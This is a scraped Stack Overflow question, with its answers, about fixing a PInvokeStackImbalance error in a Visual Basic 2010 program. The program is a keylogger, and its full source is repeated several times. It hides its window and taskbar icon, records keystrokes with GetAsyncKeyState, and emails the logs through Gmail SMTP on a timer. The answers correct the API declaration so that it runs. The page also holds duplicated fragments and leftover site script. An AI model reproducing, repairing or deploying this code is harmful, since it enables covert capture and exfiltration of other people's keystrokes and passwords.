probleme visual basic 2010: PinVokeStackImbalance was detected?
![Multi tool use Multi tool use](http://sgv.ssvwv.com/sg/ssvwvcomimagb.png)
Multi tool use
Option Strict On
Imports System.Net.Mail
Public Class Form1
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Long) As Integer
Private Sub tmrEmail_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles tmrEmail.Tick
Try
Dim smtpServer As New SmtpClient
smtpServer.EnableSsl = True
Dim mail As New MailMessage
smtpServer.Credentials = New Net.NetworkCredential("my mailadress", "my password")
smtpServer.Port = 587
smtpServer.Host = "smtp.gmail.com"
mail = New MailMessage
mail.From = New MailAddress("my mailadress")
mail.To.Add("my mailadress")
mail.Subject = ("New keylogger logs !")
mail.Body = txtlogs.Text
smtpServer.Send(mail)
Catch ex As Exception
Me.Close()
End Try
End Sub
Private Sub tmrKeys_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles tmrKeys.Tick
Dim result As Integer
Dim key As String
Dim i As Integer
For i = 2 To 90
result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then
key = Chr(i)
If i = 13 Then key = vbNewLine
Exit For
End If
Next i
If key <> Nothing Then
If My.Computer.Keyboard.ShiftKeyDown OrElse My.Computer.Keyboard.CapsLock Then
txtlogs.Text &= key
Else
txtlogs.Text &= key.ToLower
End If
End If
If My.Computer.Keyboard.AltKeyDown AndAlso My.Computer.Keyboard.CtrlKeyDown AndAlso key = "H" Then
Me.Visible = True
End If
End Sub
Private Sub Form1_FormClosed(ByVal sender As Object, ByVal e As System.Windows.Forms.FormClosedEventArgs) Handles Me.FormClosed
txtlogs.Text &= vbNewLine & "Keylogger stopped at: " & Now & vbNewLine
End Sub
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Me.ShowInTaskbar = False
Me.ShowIcon = False
Me.Visible = False
txtlogs.Text = "Keylogger started at: " & Now & vbNewLine
End Sub
End Class
Question: The problem is in this etape: result = 0
result = GetAsyncKeyState(i)
visual-studio-2010
add a comment |
Option Strict On
Imports System.Net.Mail
Public Class Form1
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Long) As Integer
Private Sub tmrEmail_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles tmrEmail.Tick
Try
Dim smtpServer As New SmtpClient
smtpServer.EnableSsl = True
Dim mail As New MailMessage
smtpServer.Credentials = New Net.NetworkCredential("my mailadress", "my password")
smtpServer.Port = 587
smtpServer.Host = "smtp.gmail.com"
mail = New MailMessage
mail.From = New MailAddress("my mailadress")
mail.To.Add("my mailadress")
mail.Subject = ("New keylogger logs !")
mail.Body = txtlogs.Text
smtpServer.Send(mail)
Catch ex As Exception
Me.Close()
End Try
End Sub
Private Sub tmrKeys_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles tmrKeys.Tick
Dim result As Integer
Dim key As String
Dim i As Integer
For i = 2 To 90
result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then
key = Chr(i)
If i = 13 Then key = vbNewLine
Exit For
End If
Next i
If key <> Nothing Then
If My.Computer.Keyboard.ShiftKeyDown OrElse My.Computer.Keyboard.CapsLock Then
txtlogs.Text &= key
Else
txtlogs.Text &= key.ToLower
End If
End If
If My.Computer.Keyboard.AltKeyDown AndAlso My.Computer.Keyboard.CtrlKeyDown AndAlso key = "H" Then
Me.Visible = True
End If
End Sub
Private Sub Form1_FormClosed(ByVal sender As Object, ByVal e As System.Windows.Forms.FormClosedEventArgs) Handles Me.FormClosed
txtlogs.Text &= vbNewLine & "Keylogger stopped at: " & Now & vbNewLine
End Sub
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Me.ShowInTaskbar = False
Me.ShowIcon = False
Me.Visible = False
txtlogs.Text = "Keylogger started at: " & Now & vbNewLine
End Sub
End Class
Question: The problem is in this etape: result = 0
result = GetAsyncKeyState(i)
visual-studio-2010
add a comment |
Option Strict On
Imports System.Net.Mail
Public Class Form1
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Long) As Integer
Private Sub tmrEmail_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles tmrEmail.Tick
Try
Dim smtpServer As New SmtpClient
smtpServer.EnableSsl = True
Dim mail As New MailMessage
smtpServer.Credentials = New Net.NetworkCredential("my mailadress", "my password")
smtpServer.Port = 587
smtpServer.Host = "smtp.gmail.com"
mail = New MailMessage
mail.From = New MailAddress("my mailadress")
mail.To.Add("my mailadress")
mail.Subject = ("New keylogger logs !")
mail.Body = txtlogs.Text
smtpServer.Send(mail)
Catch ex As Exception
Me.Close()
End Try
End Sub
Private Sub tmrKeys_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles tmrKeys.Tick
Dim result As Integer
Dim key As String
Dim i As Integer
For i = 2 To 90
result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then
key = Chr(i)
If i = 13 Then key = vbNewLine
Exit For
End If
Next i
If key <> Nothing Then
If My.Computer.Keyboard.ShiftKeyDown OrElse My.Computer.Keyboard.CapsLock Then
txtlogs.Text &= key
Else
txtlogs.Text &= key.ToLower
End If
End If
If My.Computer.Keyboard.AltKeyDown AndAlso My.Computer.Keyboard.CtrlKeyDown AndAlso key = "H" Then
Me.Visible = True
End If
End Sub
Private Sub Form1_FormClosed(ByVal sender As Object, ByVal e As System.Windows.Forms.FormClosedEventArgs) Handles Me.FormClosed
txtlogs.Text &= vbNewLine & "Keylogger stopped at: " & Now & vbNewLine
End Sub
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Me.ShowInTaskbar = False
Me.ShowIcon = False
Me.Visible = False
txtlogs.Text = "Keylogger started at: " & Now & vbNewLine
End Sub
End Class
Question: The problem is in this etape: result = 0
result = GetAsyncKeyState(i)
visual-studio-2010
Option Strict On
Imports System.Net.Mail
Public Class Form1
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Long) As Integer
Private Sub tmrEmail_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles tmrEmail.Tick
Try
Dim smtpServer As New SmtpClient
smtpServer.EnableSsl = True
Dim mail As New MailMessage
smtpServer.Credentials = New Net.NetworkCredential("my mailadress", "my password")
smtpServer.Port = 587
smtpServer.Host = "smtp.gmail.com"
mail = New MailMessage
mail.From = New MailAddress("my mailadress")
mail.To.Add("my mailadress")
mail.Subject = ("New keylogger logs !")
mail.Body = txtlogs.Text
smtpServer.Send(mail)
Catch ex As Exception
Me.Close()
End Try
End Sub
Private Sub tmrKeys_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles tmrKeys.Tick
Dim result As Integer
Dim key As String
Dim i As Integer
For i = 2 To 90
result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then
key = Chr(i)
If i = 13 Then key = vbNewLine
Exit For
End If
Next i
If key <> Nothing Then
If My.Computer.Keyboard.ShiftKeyDown OrElse My.Computer.Keyboard.CapsLock Then
txtlogs.Text &= key
Else
txtlogs.Text &= key.ToLower
End If
End If
If My.Computer.Keyboard.AltKeyDown AndAlso My.Computer.Keyboard.CtrlKeyDown AndAlso key = "H" Then
Me.Visible = True
End If
End Sub
Private Sub Form1_FormClosed(ByVal sender As Object, ByVal e As System.Windows.Forms.FormClosedEventArgs) Handles Me.FormClosed
txtlogs.Text &= vbNewLine & "Keylogger stopped at: " & Now & vbNewLine
End Sub
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Me.ShowInTaskbar = False
Me.ShowIcon = False
Me.Visible = False
txtlogs.Text = "Keylogger started at: " & Now & vbNewLine
End Sub
End Class
Question: The problem is in this etape: result = 0
result = GetAsyncKeyState(i)
visual-studio-2010
visual-studio-2010
edited Jul 7 '15 at 18:32
![](https://i.stack.imgur.com/9Hbjg.jpg?s=32&g=1)
![](https://i.stack.imgur.com/9Hbjg.jpg?s=32&g=1)
Piotr Dajlido
1,567722
1,567722
asked Jul 7 '15 at 18:01
VPS ShootingVPS Shooting
1
1
add a comment |
add a comment |
2 Answers
2
active
oldest
votes
You've got a VB6 declaration.
Change:
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Long) As Integer
To:
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Integer) As Short
add a comment |
This did not work
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Integer) As Integer
However, this worked for myself
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Long) As Short
add a comment |
Your Answer
StackExchange.ifUsing("editor", function () {
StackExchange.using("externalEditor", function () {
StackExchange.using("snippets", function () {
StackExchange.snippets.init();
});
});
}, "code-snippets");
StackExchange.ready(function() {
var channelOptions = {
tags: "".split(" "),
id: "1"
};
initTagRenderer("".split(" "), "".split(" "), channelOptions);
StackExchange.using("externalEditor", function() {
// Have to fire editor after snippets, if snippets enabled
if (StackExchange.settings.snippets.snippetsEnabled) {
StackExchange.using("snippets", function() {
createEditor();
});
}
else {
createEditor();
}
});
function createEditor() {
StackExchange.prepareEditor({
heartbeatType: 'answer',
autoActivateHeartbeat: false,
convertImagesToLinks: true,
noModals: true,
showLowRepImageUploadWarning: true,
reputationToPostImages: 10,
bindNavPrevention: true,
postfix: "",
imageUploader: {
brandingHtml: "Powered by u003ca class="icon-imgur-white" href="https://imgur.com/"u003eu003c/au003e",
contentPolicyHtml: "User contributions licensed under u003ca href="https://creativecommons.org/licenses/by-sa/3.0/"u003ecc by-sa 3.0 with attribution requiredu003c/au003e u003ca href="https://stackoverflow.com/legal/content-policy"u003e(content policy)u003c/au003e",
allowUrls: true
},
onDemand: true,
discardSelector: ".discard-answer"
,immediatelyShowMarkdownHelp:true
});
}
});
Sign up or log in
StackExchange.ready(function () {
StackExchange.helpers.onClickDraftSave('#login-link');
});
Sign up using Google
Sign up using Facebook
Sign up using Email and Password
Post as a guest
Required, but never shown
StackExchange.ready(
function () {
StackExchange.openid.initPostLogin('.new-post-login', 'https%3a%2f%2fstackoverflow.com%2fquestions%2f31276076%2fprobleme-visual-basic-2010-pinvokestackimbalance-was-detected%23new-answer', 'question_page');
}
);
Post as a guest
Required, but never shown
2 Answers
2
active
oldest
votes
2 Answers
2
active
oldest
votes
active
oldest
votes
active
oldest
votes
You've got a VB6 declaration.
Change:
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Long) As Integer
To:
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Integer) As Short
add a comment |
You've got a VB6 declaration.
Change:
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Long) As Integer
To:
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Integer) As Short
add a comment |
You've got a VB6 declaration.
Change:
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Long) As Integer
To:
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Integer) As Short
You've got a VB6 declaration.
Change:
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Long) As Integer
To:
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Integer) As Short
edited Nov 23 '18 at 1:37
![](https://i.stack.imgur.com/Cii6b.png?s=32&g=1)
![](https://i.stack.imgur.com/Cii6b.png?s=32&g=1)
Hans Passant
789k10713012080
789k10713012080
answered Jul 7 '15 at 18:32
![](https://i.stack.imgur.com/UKKyC.jpg?s=32&g=1)
![](https://i.stack.imgur.com/UKKyC.jpg?s=32&g=1)
Idle_MindIdle_Mind
22.8k21424
22.8k21424
add a comment |
add a comment |
This did not work
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Integer) As Integer
However, this worked for myself
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Long) As Short
add a comment |
This did not work
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Integer) As Integer
However, this worked for myself
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Long) As Short
add a comment |
This did not work
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Integer) As Integer
However, this worked for myself
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Long) As Short
This did not work
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Integer) As Integer
However, this worked for myself
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Long) As Short
edited Nov 23 '18 at 2:00
![](https://i.stack.imgur.com/lStUs.jpg?s=32&g=1)
![](https://i.stack.imgur.com/lStUs.jpg?s=32&g=1)
K.Dᴀᴠɪs
7,219112439
7,219112439
answered Nov 23 '18 at 1:07
CycloCyclo
111
111
add a comment |
add a comment |
Thanks for contributing an answer to Stack Overflow!
- Please be sure to answer the question. Provide details and share your research!
But avoid …
- Asking for help, clarification, or responding to other answers.
- Making statements based on opinion; back them up with references or personal experience.
To learn more, see our tips on writing great answers.
Sign up or log in
StackExchange.ready(function () {
StackExchange.helpers.onClickDraftSave('#login-link');
});
Sign up using Google
Sign up using Facebook
Sign up using Email and Password
Post as a guest
Required, but never shown
StackExchange.ready(
function () {
StackExchange.openid.initPostLogin('.new-post-login', 'https%3a%2f%2fstackoverflow.com%2fquestions%2f31276076%2fprobleme-visual-basic-2010-pinvokestackimbalance-was-detected%23new-answer', 'question_page');
}
);
Post as a guest
Required, but never shown
Sign up or log in
StackExchange.ready(function () {
StackExchange.helpers.onClickDraftSave('#login-link');
});
Sign up using Google
Sign up using Facebook
Sign up using Email and Password
Post as a guest
Required, but never shown
Sign up or log in
StackExchange.ready(function () {
StackExchange.helpers.onClickDraftSave('#login-link');
});
Sign up using Google
Sign up using Facebook
Sign up using Email and Password
Post as a guest
Required, but never shown
Sign up or log in
StackExchange.ready(function () {
StackExchange.helpers.onClickDraftSave('#login-link');
});
Sign up using Google
Sign up using Facebook
Sign up using Email and Password
Sign up using Google
Sign up using Facebook
Sign up using Email and Password
Post as a guest
Required, but never shown
Required, but never shown
Required, but never shown
Required, but never shown
Required, but never shown
Required, but never shown
Required, but never shown
Required, but never shown
Required, but never shown
s9 ArUxtx 51gW